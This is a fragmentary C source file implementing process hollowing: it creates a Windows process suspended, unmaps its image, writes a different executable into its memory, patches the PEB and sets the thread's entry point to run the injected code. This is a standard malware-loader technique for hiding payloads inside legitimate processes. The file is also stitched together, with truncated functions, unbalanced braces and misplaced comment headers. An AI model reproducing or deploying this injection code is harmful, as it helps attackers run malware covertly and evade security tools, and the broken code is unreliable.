//**********************************************************************************************************
//
// This function calculates the aligned size of a section
//
//**********************************************************************************************************
unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{
if (curSize % alignment == 0)
return curSize;
else
{
int val = curSize / alignment;
val++;
return (val * alignment);
}
}
//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************
// certain PE files have sectionHeaderSize value > size of PE file itself.
// this loop handles this situation by find the section that is nearest to the
// PE header.
for (i = 0; i < inPE->numSections; i++)
{
if (inSecHdr[i].pointerToRawData < headerSize)
headerSize = inSecHdr[i].pointerToRawData;
}
// read the sections
for (i = 0; i < inPE->numSections; i++)
{
if (inSecHdr[i].sizeOfRawData > 0)
{
toRead = inSecHdr[i].sizeOfRawData;
if (toRead > inSecHdr[i].virtualSize)
toRead = inSecHdr[i].virtualSize;
//_llseek((HFILE)hOpenFile, inSecHdr[i].pointerToRawData, FILE_BEGIN);
//ReadFile(hOpenFile, outPtr, toRead, &readSize, NULL);
memcpy(outPtr, lpProgramBuffer + inSecHdr[i].pointerToRawData, toRead);
/*
if (readSize != toRead)
{
printf("Error reading section %d ", i);
return false;
}*/
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
}
else
{
// this handles the case where the PE file has an empty section. E.g. UPX0 section
// in UPXed files.
if (inSecHdr[i].virtualSize)
outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
}
}
return true;
}
//**********************************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//**********************************************************************************************************
//**********************************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//**********************************************************************************************************
int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
SectionHeader *inSecHdr)
{
int result = 0;
int alignment = inpeXH->sectionAlignment;
if (inpeXH->sizeOfHeaders % alignment == 0)
result += inpeXH->sizeOfHeaders;
else
{
int val = inpeXH->sizeOfHeaders / alignment;
val++;
result += (val * alignment);
}
for (int i = 0; i < inPE->numSections; i++)
{
if (inSecHdr[i].virtualSize)
{
if (inSecHdr[i].virtualSize % alignment == 0)
result += inSecHdr[i].virtualSize;
else
{
int val = inSecHdr[i].virtualSize / alignment;
val++;
result += (val * alignment);
}
}
}
//**********************************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//**********************************************************************************************************
return TRUE;
}
return FALSE;
}
//**********************************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//**********************************************************************************************************
BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
if (inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
{
return TRUE;
}
return FALSE;
}
struct FixupBlock
{
unsigned long pageRVA;
unsigned long blockSize;
};
//**********************************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//**********************************************************************************************************
fixBlk = (FixupBlock *)offsetPtr;
}
}
}
//**********************************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended
// thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//**********************************************************************************************************
if (inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
{
// if new EXE has same baseaddr and is its size is <= to the original EXE, just
// overwrite it in memory
v = (LPVOID)childInfo.baseAddr;
VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize,
PAGE_EXECUTE_READWRITE, &oldProtect);
printf("Using Existing Mem for New EXE at %X ", (unsigned long)v);
}
else
{
// get address of ZwUnmapViewOfSection
pZwUnmapViewOfSection = (PFNNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA(szNtdll),
szZwUnmapViewOfSection);
// try to unmap the original EXE image
if (pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
{
// allocate memory for the new EXE image at the prefered imagebase.
v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (v)
printf("Unmapped and Allocated Mem for New EXE at %X ", (unsigned long)v);
}
}
if (!v && hasRelocationTable(inpeXH))
{
// if unmap failed but EXE is relocatable, then we try to load the EXE at another
// location
v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (v)
{
printf("Allocated Mem for New EXE at %X. EXE will be relocated. ", (unsigned long)v);
// we've got to do the relocation ourself if we load the image at another
// memory location
doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
}
}
// patch the EXE base addr in PEB (PEB + 8 holds process base addr)
pebInfo = (DWORD *)ctx.Ebx;
WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
// patch the base addr in the PE header of the EXE that we load ourselves
peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header)+(DWORD)ptrLoc);
peXH->imageBase = (DWORD)v;
if (WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
{
printf("New EXE image injected into process. ");
if ((DWORD)v == childInfo.baseAddr)
{
ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point
}
else
{
// in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
// performed.
ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point
}